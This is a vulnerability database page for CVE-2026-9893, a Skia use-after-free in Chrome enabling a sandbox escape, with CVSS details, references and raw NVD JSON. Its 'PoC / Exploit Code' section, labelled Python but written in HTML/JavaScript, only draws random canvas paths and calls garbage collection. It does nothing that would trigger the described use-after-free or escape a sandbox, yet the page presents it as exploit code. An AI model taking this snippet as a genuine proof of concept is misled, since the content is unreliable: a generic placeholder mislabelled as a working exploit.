CVE-2026-9893

Description

Use after free in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- 
PoC for CVE-2026-9893: Skia UAF Sandbox Escape
This is a conceptual demonstration intended for educational purposes.
It triggers complex Skia rendering operations that may lead to UAF.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9893 PoC</title>
</head>
<body>
    <canvas id="exploitCanvas" width="800" height="600"></canvas>
    <script>
        const canvas = document.getElementById('exploitCanvas');
        const ctx = canvas.getContext('2d');

        // Attempt to trigger UAF in Skia via rapid path manipulation
        function triggerSkiaUAF() {
            let paths = [];
            for (let i = 0; i < 1000; i++) {
                let path = new Path2D();
                path.moveTo(Math.random() * 800, Math.random() * 600);
                path.lineTo(Math.random() * 800, Math.random() * 600);
                path.arc(Math.random() * 800, Math.random() * 600, 50, 0, 2 * Math.PI);
                paths.push(path);
                
                // Force context state changes to stress memory management
                ctx.globalAlpha = 0.5 + Math.random() * 0.5;
                ctx.fillStyle = `rgb(${Math.random()*255},${Math.random()*255},${Math.random()*255})`;
                ctx.stroke(path);
            }
            
            // Simulate cleanup and potential reuse
            paths = null;
            if (typeof gc !== 'undefined') gc(); // Force garbage collection if available
            
            // Attempt further rendering on potentially freed memory
            ctx.beginPath();
            ctx.rect(0, 0, 800, 600);
            ctx.stroke();
        }

        triggerSkiaUAF();
        console.log("Skia render logic executed. Monitor for crashes or sandbox escapes.");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9893
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9893
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9893/
[4] VulDB https://vuldb.com/cve/CVE-2026-9893
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/513972075

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9893", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:47.280", "lastModified": "2026-05-29T16:16:35.743", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/513972075", "source": "[email protected]"}]}}